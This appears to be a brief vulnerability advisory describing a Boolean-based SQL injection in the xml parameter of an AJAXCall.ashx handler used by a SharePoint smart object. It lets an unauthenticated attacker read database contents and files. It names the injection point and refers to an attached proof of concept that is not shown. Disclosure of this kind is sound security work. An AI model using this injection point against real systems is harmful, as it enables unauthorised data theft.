# Description:
This Boolean-based SQL injection vulnerability enables an anonymous attacker to read sensitive data from the database, and recover the content of a given file present on the DBMS file system.
# Vulnerability Class:
SQL injection - https://www.owasp.org/index.php/SQL_Injection)
# How to Reproduce: (POC):
Host the attached code in a webserver. Then go for the xml parameter that calls the AJAXCall.ashx in the smart object for the SharePoint.
